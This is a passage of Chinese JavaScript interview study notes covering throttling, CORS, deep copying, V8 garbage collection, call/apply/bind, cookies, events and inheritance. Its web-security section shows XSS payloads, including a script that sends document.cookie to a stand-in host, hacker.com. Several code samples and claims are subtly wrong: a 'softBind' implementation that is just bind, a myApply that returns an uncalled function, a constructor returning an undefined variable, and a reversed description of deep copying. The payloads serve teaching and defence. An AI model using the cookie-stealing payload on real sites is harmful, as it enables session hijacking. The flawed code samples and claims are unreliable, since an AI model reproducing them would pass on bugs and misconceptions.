fn.apply(this, args);
}
isInvoked = false;
}, delay);
};
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 防抖-使用示例
const input = document.getElementById('search-input');
const debouncedSearch = debounce(searchAPI, 300);
input.addEventListener('input', debouncedSearch);
function searchAPI(query) {
console.log('搜索:', this.value);
}
2
3
4
5
6
7
8
# 手写节流
时间戳版本
function throttle(fn, delay) {
let lastTime = 0;
return function(...args) {
const now = Date.now();
if (now - lastTime >= delay) {
fn.apply(this, args);
lastTime = now;
}
};
}
2
3
4
5
6
7
8
9
10
11
12
定时器版本
function throttle(fn, delay) {
let timer = null;
return function(...args) {
if (!timer) {
timer = setTimeout(() => {
fn.apply(this, args);
timer = null;
}, delay);
}
};
}
2
3
4
5
6
7
8
9
10
11
12
结合版本(更精确)
function throttle(fn, delay) {
let timer = null;
let lastTime = 0;
return function(...args) {
const now = Date.now();
const remaining = delay - (now - lastTime);
clearTimeout(timer);
if (remaining <= 0) {
fn.apply(this, args);
lastTime = now;
} else {
timer = setTimeout(() => {
fn.apply(this, args);
lastTime = Date.now();
}, remaining);
}
};
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 节流-使用示例
const scrollHandler = throttle(handleScroll, 200);
window.addEventListener('scroll', scrollHandler);
function handleScroll() {
console.log('滚动位置:', window.scrollY);
}
2
3
4
5
6
7
# 现代API替代方案
# 1. IntersectionObserver(替代滚动节流)
const observer = new IntersectionObserver(entries => {
console.log('元素进入视口');
}, {threshold: 0.1});
observer.observe(document.querySelector('.target'));
2
3
4
5
# 2. AbortController(替代防抖取消)
let controller;
input.addEventListener('input', () => {
controller?.abort();
controller = new AbortController();
fetch(`/search?q=${input.value}`, {
signal: controller.signal
}).then(/*...*/);
});
2
3
4
5
6
7
8
9
10
# 12. setTimeout 和 setInterval 的运行机制
setTimeout() 和 setInterval() 都是属于定时器,同属于 window 方法,所以 this 会指向 window,它们的区别在于 setTimeout 只调用一次,而 setInterval 是重复调用。它们两者都是属于异步机制,属于宏任务,只是在指定的时间里将要执行的内容放到任务队列里。
- 使用 setInterval 会出现两个问题
(1) 某些时间间隔会被跳过
(2) 多个定时器代码的执行之间的间隔可能会比预期的小
# 用 setTimeout
实现 setInterval
的功能
代码实现
function mySetInterval(callback, delay) {
let timerId;
// 定义递归函数
const execute = () => {
callback(); // 执行回调
timerId = setTimeout(execute, delay); // 递归调用
};
// 第一次启动
timerId = setTimeout(execute, delay);
// 返回一个清除定时器的方法
return {
clear: () => {
clearTimeout(timerId);
}
};
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
使用示例
// 定义一个回调函数
function sayHello() {
console.log("Hello!");
}
// 使用自定义的 mySetInterval
const interval = mySetInterval(sayHello, 1000);
// 5秒后停止
setTimeout(() => {
interval.clear();
console.log("Interval stopped!");
}, 5000);
2
3
4
5
6
7
8
9
10
11
12
13
# 对比 setInterval 和 setTimeout 实现
特性 | setInterval | setTimeout 递归实现 |
---|---|---|
执行机制 | 固定间隔执行,可能堆积 | 前一次执行完才安排下一次 |
误差累积 | 可能累积延迟(如回调执行时间较长) | 无累积误差 |
可控性 | 只能 clearInterval | 可动态调整 delay 或停止 |
内存泄漏风险 | 不清理会导致持续执行 | 可手动清理 |
# 13. JS 中 new 一个对象会发生什么
当执行 const obj = new MyClass()
时,会发生以下过程:
- 3.1 创建一个空对象
const obj = {}; // 或更底层:obj = Object.create(MyClass.prototype);
- 3.2 绑定原型(Prototype Link)
将新对象的 __proto__
(隐式原型) 指向构造函数的 prototype
(显式原型) 属性
obj.__proto__ = MyClass.prototype;
- 3.3 执行构造函数(绑定 this)
调用构造函数 MyClass
,并将 this
指向新创建的对象:
MyClass.call(obj); // 构造函数内部的 this 就是 obj
- 3.4 处理返回值
如果构造函数 返回一个对象(如 return { foo: 1 }
),则 new 的结果是这个对象。
如果返回 非对象值(如 return 1
),则忽略返回值,仍然返回新创建的对象 obj。
# 手动实现的 new 操作符逻辑
function myNew(constructor, ...args) {
// 1. 创建空对象并绑定原型
const obj = Object.create(constructor.prototype);
// 2. 执行构造函数(绑定 this)
const result = constructor.apply(obj, args);
// 3. 处理返回值
return result instanceof Object ? result : obj;
}
// 使用示例
const obj = myNew(MyClass, arg1, arg2);
2
3
4
5
6
7
8
9
10
11
12
13
WARNING
箭头函数不能作为构造函数
箭头函数没有 this 绑定和 prototype 属性,因此不能 new:
const Foo = () => {};
new Foo(); // TypeError: Foo is not a constructor
2
# 14. 跨域是什么,怎么解决
跨域指的是浏览器出于安全考虑的同源策略,当从一个地址向另外一个地址请求资源时,协议、域名、端口号任意一个不同都属于跨域
# 同源策略
# 1. 什么是同源策略
同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。
# 2. 受限制的操作
AJAX请求(实际请求能发出,但浏览器会拦截响应)
DOM访问(iframe跨域时)
Cookie/LocalStorage读取
Web Workers部分操作
# 跨域的解决方案
# 1、JSONP(JSON With Padding) (仅限GET请求)
原理:利用<script>
标签不受同源策略限制的特性
JSONP 的优势在于支持老式浏览器,以及可以向不支持 CORS 的网站请求数据
function handleResponse(data) {
console.log('收到数据:', data);
}
const script = document.createElement('script');
script.src = 'https://api.example.com/data?callback=handleResponse';
document.body.appendChild(script);
2
3
4
5
6
7
服务端需要配合:
// 返回格式为:handleResponse({...数据...})
# 2、CORS (全称是"跨域资源共享"(Cross-origin resource sharing))
# CORS 原理:
- 通过HTTP头部协商机制,让服务器声明允许哪些外域访问资源
- 浏览器根据响应头决定是否允许前端JavaScript代码访问响应内容
# CORS 预检请求:
- 流程:
- 浏览器发送 OPTIONS 预检请求
- 服务器响应预检请求,包含允许的 CORS 头
- 浏览器确认后发送实际请求
- 服务器响应实际请求
# 简单请求:
某些请求不会触发 CORS 预检请求。本文称这样的请求为“简单请求”
- 满足简单请求的条件:
- 请求为 GET、HEAD、POST 其一
- 仅包含以下头:
Accept
Accept-Language
Content-Language
Content-Type
(仅限于application/x-www-form-urlencoded
、multipart/form-data
、text/plain
)
// 允许访问源
header('Access-Control-Allow-Origin:\*');
// 允许访问的有效期
header('Access-Control-Max-Age:86400');
// 允许访问的方法
header('Access-Control-Allow-Methods:OPTIONS, GET, POST, DELETE');
2
3
4
5
6
# 3、代理服务器
原理:绕过浏览器的同源限制
同源策略是浏览器实现的安全机制,Node.js 作为服务端运行时,发起 HTTP 请求不受同源策略限制
// Node.js代理示例
const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');
const app = express();
app.use('/api', createProxyMiddleware({
target: 'https://target-server.com',
changeOrigin: true,
pathRewrite: { '^/api': '' }
}));
app.listen(3000);
2
3
4
5
6
7
8
9
10
11
12
13
Nginx配置:
location /api/ {
proxy_pass https://target-server.com/;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
2
3
4
5
# 4、WebSocket
const socket = new WebSocket('wss://echo.websocket.org');
socket.onopen = () => {
socket.send('Hello Server!');
};
socket.onmessage = (event) => {
console.log('收到消息:', event.data);
};
2
3
4
5
6
7
8
9
# 5、postMessage (跨文档通信)
发送方:
const iframe = document.getElementById('myIframe');
iframe.contentWindow.postMessage('Hello', 'https://target-origin.com');
2
接收方:
window.addEventListener('message', (event) => {
if (event.origin !== 'https://trusted-origin.com') return;
console.log('收到消息:', event.data);
});
2
3
4
img 的 src
属性、link 的 href
属性、script 的 src
属性
# <img>
的跨域问题
当加载不同源的图片时,浏览器会限制以下操作:
<img src="https://other-domain.com/image.jpg" crossorigin="anonymous">
- 无法在Canvas中绘制该图片
- 无法通过JavaScript读取像素数据
- 根本原因
- 浏览器的同源策略(SOP)限制了对跨域资源的访问,即使图片已加载到页面中。
# <canvas>
的跨域污染
当尝试操作跨域图片时:
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
const img = new Image();
img.src = 'https://other-domain.com/image.jpg';
img.onload = () => {
ctx.drawImage(img, 0, 0); // 可以绘制
ctx.getImageData(0, 0, 100, 100); // 报错:Canvas已被污染
};
2
3
4
5
6
7
8
9
# 跨域的解决方案
# 方案1:服务器配置CORS(推荐)
服务端需要添加响应头:
Access-Control-Allow-Origin: *
或
Access-Control-Allow-Origin: https://your-domain.com
2
3
crossorigin="anonymous" 详解
- 告诉浏览器以匿名方式发起跨域请求
- 启用CORS请求:告诉浏览器该资源需要以跨域方式加载
- 不发送凭据:anonymous 表示请求中不包含cookies、HTTP认证等敏感信息
- 获取可操作的资源:对于Canvas等需要操作资源的场景,这是必要设置
# 15. 关于 JS 的堆栈和拷贝
# 一、栈(stack)和堆(heap)
stack 为自动分配的内存空间,它由系统自动释放
而 heap 则是动态分配的内存,大小不定也不会自动释放
# 二、基本类型和引用类型
基本类型:存放在栈内存中的简单数据段,数据大小确定,内存空间大小可以分配
5 种基本数据类型有 Undefined、Null、Boolean、Number 和 String,它们是直接按值存放的,所以可以直接访问。
引用类型:存放在堆内存中的对象,变量实际保存的是一个指针,这个指针指向另一个位置。每个空间大小不一样,要根据情况开进行特定的分配。
当我们需要访问引用类型(如对象,数组,函数等)的值时,首先从栈中获得该对象的地址指针,然后再从堆内存中取得所需的数据
# 三、浅拷贝和深拷贝
# 浅拷贝
在定义一个对象或数组时,变量存放的往往只是一个地址。当我们使用对象拷贝时,如果属性是对象或数组时,这时候我们传递的也只是一个地址 . 因此子对象在访问该属性时,会根据地址回溯到父对象指向的堆内存中,即父子对象发生了关联,两者的属性值会指向同一内存空间
# 深拷贝
如果希望父子对象之间产生关联,那么这时候可以用到深拷贝 . 既然属性值类型是数组和或象时只会传址,那么我们就用递归来解决这个问题,把父对象中所有属于对象的属性类型都遍历赋给子对象即可
# 四、实现浅拷贝
Object.assign()和展开运算符(...)对于深浅拷贝的结果是一样
如果拷贝的层数超过了一层的话,那么就会进行浅拷贝
# 1. 扩展运算符
const original = { a: 1, b: { c: 2 } };
const shallowCopy = { ...original };
original.a = 10; // 不影响拷贝
original.b.c = 20; // 影响拷贝
console.log(JSON.stringify(original));
// {"a":10,"b":{"c":20}}
console.log(JSON.stringify(shallowCopy));
// {"a":1,"b":{"c":20}}
2
3
4
5
6
7
8
9
10
# 2. Object.assign()
const original = { a: 1, b: { c: 2 } };
const shallowCopy = Object.assign({}, original);
original.a = 10; // 不影响拷贝
original.b.c = 20; // 影响拷贝
console.log(JSON.stringify(original));
// {"a":10,"b":{"c":20}}
console.log(JSON.stringify(shallowCopy));
// {"a":1,"b":{"c":20}}
2
3
4
5
6
7
8
9
10
# 3. Array.prototype.slice()
arr.slice()
方法用于创建一个数组的浅拷贝。
- 如果数组中的元素是基本数据类型(如数字、字符串等),那么在原数组和新数组中,这些元素是独立的,互不影响。
- 如果数组中包含对象或数组,slice() 方法会复制这些对象或数组的引用到新数组中。
const original = [1, { a: 2 }, [3]];
const shallowCopy = original.slice();
original[0] = 10; // 不影响拷贝
original[1].a = 20; // 影响拷贝
original[2][0] = 30; // 影响拷贝
console.log(JSON.stringify(original));
// [10,{"a":20},[30]]
console.log(JSON.stringify(shallowCopy));
// [1,{"a":20},[30]]
2
3
4
5
6
7
8
9
10
11
# 五、实现深拷贝:
# 1. JSON方法(最简单但有局限)
let original = {
a: undefined,
b: function() {},
c: Symbol("sym"),
d: true,
e: "str",
f: 123,
g: new Date(),
h: new RegExp("\\w+")
}
const deepCopy = JSON.parse(JSON.stringify(original));
console.log(JSON.stringify(deepCopy))
// {"d":true,"e":"str","f":123,"g":"2025-05-22T07:50:21.082Z","h":{}}
2
3
4
5
6
7
8
9
10
11
12
13
- 局限:
- 忽略undefined、function和Symbol
- 不能处理循环引用
- 会丢失Date对象(转为字符串)
- 会丢失RegExp对象(转为空对象)
- 不能序列化函数
- 不能解决循环引用的对象 -> 报错:Converting circular structure to JSON
# 2. 使用第三方库 lodash
// lodash
import { cloneDeep } from 'lodash';
const deepCopy = cloneDeep(original);
// jQuery
const deepCopy = $.extend(true, {}, original);
2
3
4
5
6
# 3. 现代浏览器原生深拷贝API:structuredClone
const original = { date: new Date(), set: new Set([1, 2]) };
const copy = structuredClone(original);
2
- 不支持:
- 函数
- DOM节点
- 对象原型链
# 16. V8下的垃圾回收机制
# 1. 内存分代管理
V8 将堆内存分为两个主要区域,采用分代回收策略:
内存区域 | 存储对象类型 | 回收频率 | 回收算法 |
---|---|---|---|
新生代 | 存活时间短的对象(临时变量) | 高 | Scavenge |
老生代 | 存活时间长的对象(全局变量) | 低 | 标记-清除/标记-整理 |
# 2. 新生代回收:Scavenge 算法
- 新生代空间: 用于存活较短的对象,又分成两个空间,每份空间称为
semi-space
: from 空间 与 to 空间,在这两个空间中,必定有一个空间是使用的,另一个空间是空闲的。
新分配的对象会被放入 From 空间中,当 From 空间被占满时,新生代 GC 就会启动了。
- Scavenge GC算法: 当 from 空间被占满时,启动 GC 算法
1、存活的对象从 from space 转移到 to space
2、清空 from space
3、from space 与 to space 互换
4、完成一次新生代GC

# 3.老生代回收:Full Mark-Compact 进行垃圾回收
主要有三个阶段:标记-清除(Mark-Sweep) 与 标记-整理(Mark-Compact
- 老生代空间: 用于存活时间较长的对象
- 为什么需要老生代空间?
如果仅仅让存活对象在
semi-space
之间一直复制,那么新生代的内存空间很快就会被耗尽。所以当一个对象经过复制后依然存活时,它会被认为是生命周期较长的对象。这种生命周期较长的对象随后会被移动到老生代中,采用新的算法管理。对象从新生代中移动到老生代中的过程称为晋升。
- 从 新生代空间 转移到 老生代空间 的条件,满足其一即可
1、经历过一次以上 Scavenge GC 的对象
2、当 to space 体积超过25%

# 标记-清除阶段
- 标记算法:
- 增量标记: 小模块标记,将标记过程拆分为多个小步骤,穿插在 JavaScript 执行之间,会影响性能
- 并发标记(最新技术): 不阻塞 js 执行
- 1.遍历对象图,标记所有可达对象
- 2.释放未被标记的内存块

# 标记-整理阶段
- 1.标记阶段:同标记-清除
- 2.将内存中清除后导致的碎片化对象往内存堆的一端移动,解决内存的碎片化

# 17. 内存泄漏是什么
内存泄漏是指程序中已不再需要的内存没有被垃圾回收机制(GC)正确释放,导致内存占用持续增长,最终可能引发性能下降甚至程序崩溃。
# 1、意外的全局变量
- 在一个函数你忘记用变量声明符(var 或 let)来声明的变量,一个意外的全局变量就被创建了
function a() {
str = "str";
}
console.log(window.str);
2
3
4
- 在函数中通过 this 赋予变量,在函数中,this 指向 window
function a() {
this.str = "str";
}
console.log(window.str);
2
3
4
为了阻止这种错误发生,在你的 Javascript 文件最前面添加'use strict;'
这开启了解析 JavaScript 的阻止意外全局的更严格的模式
如果必须用全局变量来存储很多数据,在处理完之后,确保对其清零或重新赋值
# 2、定时器 setTimeout setInterval 以及回调函数
当不需要 setInterval 或者 setTimeout 时,定时器没有被 clear,定时器的回调函数以及内部依赖的变量都不能被回收,造成内存泄漏
比如:vue 使用了定时器,需要在 beforeDestroy 中做对应销毁处理。js 也是一样的
# 3、闭包(在全局作用域上保留着闭包局部变量的引用)
function createClosure() {
const data = new Array(1e6);
// data 无法被释放
return () => console.log(data);
}
2
3
4
5
# 4、事件监听未移除
window.addEventListener('scroll', heavyFunction);
// 忘记 removeEventListener
2
# 5、未释放的WebSocket/订阅
const socket = new WebSocket('ws://example.com');
socket.onmessage = (event) => {
console.log(event.data);
};
// 组件卸载时忘记关闭
// socket.close();
2
3
4
5
6
7
8
# 内存泄露排查工具
Chrome DevTools Memory 面板:
- 拍摄堆快照(Heap Snapshot)对比前后差异。
- 使用 Allocation Timeline 跟踪内存分配。
Node.js 内存分析:
node --inspect-brk --expose-gc app.js
通过 Chrome DevTools 连接调试。
# 18. 作用域链
# 一. 作用域基础概念
- 作用域类型
- 全局作用域:在任何函数外部定义的变量
- 函数作用域:在函数内部定义的变量(var声明的变量)
- 块级作用域:ES6引入的let和const的作用域({}内部)
- 作用域特点
- 词法作用域(静态作用域):作用域在代码编写时就已经确定
- 作用域链:变量查找的机制
# 二. 作用域链的组成
# 1. 执行上下文(Execution Context)
每个函数调用都会创建一个执行上下文,包含:
- 变量对象(Variable Object,VO)
- 作用域链(Scope Chain)
- this值
# 2. 作用域链构建过程
function outer() {
const a = 1;
function inner() {
const b = 2;
console.log(a + b); // 3
}
inner();
}
outer();
2
3
4
5
6
7
8
9
10
11
12
- 作用域链结构:
- inner作用域链: [inner的VO, outer的VO, 全局VO]
- outer作用域链: [outer的VO, 全局VO]
- 全局作用域链: [全局VO]
# 三、变量查找机制
- 当访问一个变量时,JavaScript引擎会:
- 在当前执行上下文的变量对象中查找
- 如果没找到,沿着作用域链向上查找
- 直到全局作用域,如果仍未找到则报错
const globalVar = 'global';
function outer() {
const outerVar = 'outer';
function inner() {
const innerVar = 'inner';
console.log(innerVar); // 'inner' (当前作用域)
console.log(outerVar); // 'outer' (父作用域)
console.log(globalVar); // 'global' (全局作用域)
console.log(notExist); // ReferenceError
}
inner();
}
outer();
2
3
4
5
6
7
8
9
10
11
12
13
14
# 调试技巧
查看作用域链
- 在Chrome DevTools中:
- 设置断点
- 在Scope面板查看作用域链
# 19. call、apply 和 bind 的理解
# call、apply 和 bind 是 Function 对象自带的三个方法,属于对象冒充,可以调用另外一个对象的方法,同时改变函数体内部 this 的指向。
call(obj, arg1, arg2) → 立即执行
apply(obj, [arg1, arg2]) → 立即执行
bind(obj)(arg1, arg2) → 返回绑定后的函数
方法 | 调用时机 | 参数传递方式 | 返回值 |
---|---|---|---|
call | 立即调用 | 单独传递 | 函数执行结果 |
apply | 立即调用 | 数组形式传递 | 函数执行结果 |
bind | 不立即调用 | 单独传递或部分传递 | 绑定后的新函数 |
# bind(硬绑定)和softbind(软绑定)
- 标准 bind 方法
- 硬性绑定:一旦绑定,无法更改 this 值
- 立即执行:返回一个新函数,调用时固定 this
- softBind 概念
- 解决 bind 的硬性绑定问题,允许在调用时动态覆盖 this 值
const obj1 = { name: 'Alice' };
const obj2 = { name: 'Bob' };
function showName() {
console.log(this.name);
}
const hardBound = showName.bind(obj1);
hardBound.call(obj2); // "Alice" (无法覆盖)
const softBound = showName.softBind(obj1);
softBound.call(obj2); // "Bob" (可覆盖)
2
3
4
5
6
7
8
9
10
11
12
softbind
实现原理(简化版)
Function.prototype.myBind = function(context, ...args) {
const fn = this;
return function(...innerArgs) {
return fn.apply(context, [...args, ...innerArgs]);
};
};
2
3
4
5
6
# 自己动手实现 call 方法
Function.prototype.myCall = function(context, ...arg) {
let obj = context || window;
obj.fn = this;
let result = obj.fn(...arg);
delete obj.fn;
return result;
};
2
3
4
5
6
7
# 自己动手实现 apply 方法
Function.prototype.myApply = function(context, arg) {
let obj = context || window;
obj.fn = this;
let res;
if (arg) {
res = obj.fn(...arg);
} else {
res = obj.fn;
}
delete obj.fn;
return res;
};
2
3
4
5
6
7
8
9
10
11
12
# 实际应用场景
- 1.借用方法:使用其他对象的方法
const obj1 = { name: 'obj1' };
const obj2 = { name: 'obj2' };
function showName() {
console.log(this.name);
}
showName.call(obj1); // "obj1"
showName.call(obj2); // "obj2"
2
3
4
5
6
7
8
9
- 2.类数组转为数组
function list() {
return Array.prototype.slice.call(arguments);
}
2
3
- 3.延迟执行(bind)
const button = document.querySelector('button');
button.addEventListener('click', this.handleClick.bind(this));
2
# 20. WEB 安全
# 1、XSS:跨站脚本(Cross-site scripting)
XSS是一种注入型攻击,攻击者通过将恶意脚本注入到可信网页中,当用户访问该页面时,恶意脚本会在用户浏览器执行。
- 核心危害:
- 窃取用户数据(Cookie、LocalStorage)
- 会话劫持(冒充用户操作)
- 钓鱼攻击(伪造登录表单)
- 蠕虫传播(自我复制的XSS)
# XSS 三大类型详解
1. 存储型(最危险)
- 攻击流程:
- 攻击者提交恶意内容到数据库(如论坛评论)
- 服务器存储该内容
- 其他用户访问包含该内容的页面
- 恶意脚本自动执行
<!-- 提交到评论区的恶意内容 -->
<script>
fetch('https://hacker.com/steal?cookie='+document.cookie)
</script>
2
3
4
2. 反射型(最常见)
恶意URL → 服务器 → 含XSS的响应 → 浏览器执行
- 攻击流程:
- 需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击
- 常见于通过 URL 传递参数的功能,如网站搜索、跳转等
- 必须经过服务器响应
// 示例:服务端未对search参数过滤
// 攻击URL:https://example.com/search?q=<script>alert(1)</script>
app.get('/search', (req, res) => {
res.send(`<div>搜索结果:${req.query.q}</div>`); // 危险!
});
2
3
4
5
3. DOM 型(最隐蔽)
恶意URL → 浏览器直接解析执行
- 攻击流程:
- 攻击者构造特殊URL:
https://victim.com#<img src=x onerror=alert(1)>
- 前端JS直接使用location.hash操作DOM
- 触发恶意代码执行
// document.getElementById('content').innerHTML = location.hash.substring(1);
- 不经过服务器处理
- 攻击者构造特殊URL:
# XSS 防御体系(深度防御)
1. 输入过滤(服务端)
function sanitize(input) {
// 移除所有HTML标签
return input.replace(/<[^>]*>/g, '');
// 或转义特殊字符
// return input.replace(/&/g, '&')
// .replace(/</g, '<')
// .replace(/>/g, '>');
}
2
3
4
5
6
7
8
9
2. 输出编码(上下文敏感)
HTML标签内 -> HTML实体编码 HTML属性值 -> HTML属性编码 JavaScript代码 -> JavaScript Unicode转义 URL参数 -> URL编码
3. 内容安全策略(CSP)
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' cdn.example.com;
img-src *;
connect-src https://api.example.com;
frame-ancestors 'none';
report-uri /csp-report;
2
3
4
5
6
7
4. 安全Cookie设置
Set-Cookie: sessionId=xxxx;
HttpOnly; // 禁止JS访问
Secure; // 仅HTTPS传输
SameSite=Lax; // 限制跨站发送
Path=/;
Max-Age=3600
2
3
4
5
6
5. 现代框架防护机制
// React
<div>{userInput}</div> {/* 自动转义 */}
<div dangerouslySetInnerHTML={{__html: sanitizedHTML}} /> {/* 需手动净化 */}
2
3
// Vue
<template>
<div>{{ userInput }}</div> <!-- 自动转义 -->
<div v-html="sanitizedHTML"></div> <!-- 需手动净化 -->
</template>
2
3
4
5
# 2、CSRF:跨站请求伪造(Cross-site request forgery)
CSRF 的攻击主要是在用户不知情的情况下,冒充用户偷偷发了请求
要完成一次 CSRF 攻击,受害者必须依次完成两个步骤:
1、登录受信任网站 A,并在本地生成 Cookie
2、在不登出 A 的情况下,访问危险网站 B。CSRF 防御措施:
1、检测 http referer 是否是同域名
2、避免登录的 session 长时间存储在客户端中
3、关键请求使用验证码或者 token 机制
# 21.cookies,sessionStorage 和 localStorage 的区别
共同点:都是保存在浏览器端,且同源的
特性 | Cookies | sessionStorage | localStorage |
---|---|---|---|
存储容量 | 每个域名约 50-150 个, 4KB 左右 | 5-10MB(不同浏览器不同) | 5-10MB(甚至更大) |
生命周期 | 可设置过期时间(默认会话级,关闭浏览器后清除) 通过 expires 或 max-age 设置过期时间 | 会话级(关闭标签页清除) | 永久存储(需手动清除) |
作用域 | 同域名下所有标签页共享 | 仅当前标签页 | 同域名下所有标签页共享 |
同步行为 | 修改后立即同步 | 完全不共享 | 需通过 storage 事件监听同步 |
是否随请求发送 | 是(自动附加到 HTTP 请求头) | 否 | 否 |
典型用途 | 用户认证、会话跟踪 | 临时表单数据、页面间传参 | 长期存储(如用户偏好设置) |
删除单个数据 | 设置过期时间为过去或 Max-Age=0 | removeItem(key) | removeItem(key) |
清空所有数据 | 遍历所有Cookie逐个删除 | clear() | clear() |
自动失效机制 | 依赖 Expires/Max-Age 设置 | 标签页关闭自动清除 | 无,需手动或程序控制 |
安全注意事项 | 敏感数据应标记 HttpOnly 和 Secure(防止 XSS 和嗅探) | 不要存储敏感信息(如密码),易受 XSS 攻击 | 不要存储敏感信息(如密码),易受 XSS 攻击 |
# cookie字段详解
# 1. Domain(可选)
作用:指定哪些域名可以接收该 Cookie
- 规则:
- 默认值为当前域名(不包括子域名)
- 若指定 .example.com 则包含所有子域名
Set-Cookie: user=john; Domain=.example.com
# 2. Path(可选)
作用:指定 URL 路径前缀,只有匹配的路径才会发送 Cookie
默认值:/(整个站点)
Set-Cookie: cart=items; Path=/shop
# 3. Secure(可选)
- 作用:仅通过 HTTPS 协议传输
- 安全要求:
- 敏感 Cookie(如会话ID)必须设置
- 防止中间人攻击
Set-Cookie: auth=t0k3n; Secure
# 4. HttpOnly(可选)
- 作用:阻止 JavaScript 通过 document.cookie 访问
- 安全要求:
- 防止 XSS 攻击窃取 Cookie
- 会话 Cookie 应该始终启用
Set-Cookie: session=xyz; HttpOnly
为什么 Chrome 扩展能读取 HttpOnly Cookie
使用 chrome.cookies API:需要声明 "cookies" 权限
{
"permissions": ["cookies", "<all_urls>"]
}
2
3
# 5. SameSite(可选,重要安全字段)
- 作用:控制跨站请求是否发送 Cookie
- 取值:
- Strict:完全禁止跨站发送
- Lax:允许安全跨站请求(GET,导航操作)
- None:允许所有跨站请求(必须配合 Secure) 现代浏览器默认:Lax
Set-Cookie: csrf=token123; SameSite=Strict
# 6. Expires(可选)
- 作用:设置绝对过期时间(GMT 格式)
- 与 Max-Age 关系:
- 两者同时存在时 Max-Age 优先级更高
- 都不设置则为会话 Cookie(浏览器关闭即失效)
Set-Cookie: pref=dark; Expires=Wed, 21 Oct 2025 07:28:00 GMT
# 7. Max-Age(可选)
作用:设置相对过期时间(秒)
Set-Cookie: tracking=1; Max-Age=86400 // 1天
# sessionStorage/localStorage:
// 使用 Web Storage API(简单易用)
localStorage.setItem('theme', 'dark');
sessionStorage.setItem('tempData', JSON.stringify({ id: 1 }));
2
3
# 22. 事件绑定 3 种方法
1、HTML 事件处理(在 dom 元素中嵌入)
<button onclick="fn()"></button>
WARNING
- 缺点:
1、this 指向 window
2、HTML 与 JS 紧密耦合,改动代码麻烦
2、DOM0 级事件处理(获取 dom 元素直接绑定)
document.getElementById("btn").onclick = fn;
WARNING
- 优点:
1、this 指向 dom 元素
2、不存在浏览器兼容问题
3、DOM2 级事件处理(事件监听)
document.getElementById("btn").addEventListener("click", fn);
WARNING
- 优点:
1、this 指向 dom 元素 - 缺点:
1、需要对 IE8 及以下进行兼容
TIP
tip: document.getElementById('btn').attachEvent('click',fn)
由于 IE8 及以下只支持事件冒泡,所以通过 attachEvent 都会被添加到冒泡阶段
IE 中的 attachEvent 中的 this 总是指向全局对象 Window
# 23. 事件冒泡、捕获和阻止
# 事件冒泡:即事件开始时由最具体的元素(文档中嵌套层数最深的那个点)接收,然后逐级向上传播到较为不具体的节点(文档)
由 div -> body -> html -> document
# 事件捕获:不太具体的节点应该更早接收到事件,而最具体的节点应该最后接收到事件
由 document -> html -> body -> div
因为老版本的不支持,因此很少会用事件捕获,多数在事件冒泡下处理程序
DOM2 级规定的事件流包括三个阶段:事件捕获阶段、处于目标阶段、事件冒泡阶段
# 阻止事件冒泡:event.stopPropagation()
一个阻止事件冒泡的办法就是使用 event.stopPropagation()
在 IE<9 的浏览器上使用 event.cancelBubble = true
# 取消事件的默认行为:preventDefault()
1、在其他浏览器中调用方法 e.preventDefault()
2、在 IE 浏览器中通过 e.returnValue = false
# 当 return false“的时候
在 DOM0 级事件中,可以像 event.preventDefault() 取消默认事件,但是在 DOM2 级则不行
# stopImmediatePropagation()
这个方法会停止一个事件继续执行,即使当前的对象上还绑定了其它处理函数
所有绑定在一个对象上的事件会按绑定顺序执行
# 24. 事件委托
也叫事件代理
- 好处:
节省内存:每个函数都是一个对象,是对象就会占用内存,对象越多,内存占用率就越大
不需要为每个子节点注销事件
不知道子节点的具体数量时(下拉加载图片) - 原理:
事件委托是利用事件的冒泡原理来实现的
通过 e.target 获取具体子元素
# 25. dom 事件中 currentTarget 和 target 的区别
- 本质区别是:
event.target 返回触发事件的元素
event.currentTarget 返回绑定事件的元素
<!DOCTYPE html>
<html>
<body>
<div style="width: 30px;height: 30px;background-color: #0e91e1"></div>
</body>
<script>
document.querySelector("body").onclick = function(e) {
console.log("currentTarget:", e.currentTarget);
console.log("target:", e.target);
};
</script>
</html>
点击div时: currentTarget: body target: div 点击body时: currentTarget: body
target: body
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 26. jS 继承方式总结
一共6种,构造函数、原型链继承、组合继承、寄生式继承、寄生式组合继承、ES6继承
# 借用构造函数继承
function Parent() {}
function Children() {
Parent.call(this); // 或apply
}
2
3
4
缺点:父类原型上的东西是没法继承的,因此函数复用也就无从谈起
# 原型链继承
function Parent() {}
function Children() {}
Children.prototype = new Parent();
2
3
这种方式确实解决了上面借用构造函数继承方式的缺点
但是,这种方式仍有缺点:实例化了两个 Child 原型链上中的原型对象它俩是共用的
# 组合继承
function Parent() {}
function Children() {}
Children.prototype = Object.create(Parent.prototype);
Children.prototype.constructor = Children;
2
3
4
# 寄生式继承
function createAnother(original){
var clone = object(original); //通过调用函数创建一个新对象
clone.sayHi = function(){ // 某种方式增强这个对象
console.log("hi");
}
return clone; // 返回这个对象
}
var person = { name: "james"}
var anotherPerson = createAnother(person);
anotherPerson.sayHi(); // "hi"
2
3
4
5
6
7
8
9
10
11
12
优点:在主要考虑对象而不是自定义类型和构造函数的情况下,实现简单的继承。
缺点:使用该继承方式,在为对象添加函数的时候,没有办法做到函数的复用。
# ES6 继承
Class 可以通过 extends 关键字实现继承
# 27. JS创建对象的几种方式
参考 (opens new window)
一共7种,包含工厂模式、构造函数模式、原型模式、组合使用构造函数模式和原型模式、动态原型模式、寄生构造函数模式、稳妥构造函数模式
# 工厂模式
function createPerson(name){
var o = new Object();
o.name = name;
o.sayName = function(){
alert(this.name);
};
return o;
}
var person1 = createPerson("james");
var person2 = createPerson("kobe");
2
3
4
5
6
7
8
9
10
11
优点:解决了创建多个相似对象时,代码的复用问题
缺点:使用工厂模式创建的对象,没有解决对象识别的问题(就是怎样知道一个对象的类型是什么)
# 构造函数模式
function createPerson(name){
this.name = name;
this.sayName = function(){
alert(this.name);
};
return o;
}
var person1 = new createPerson("james");
var person2 = new createPerson("kobe");
2
3
4
5
6
7
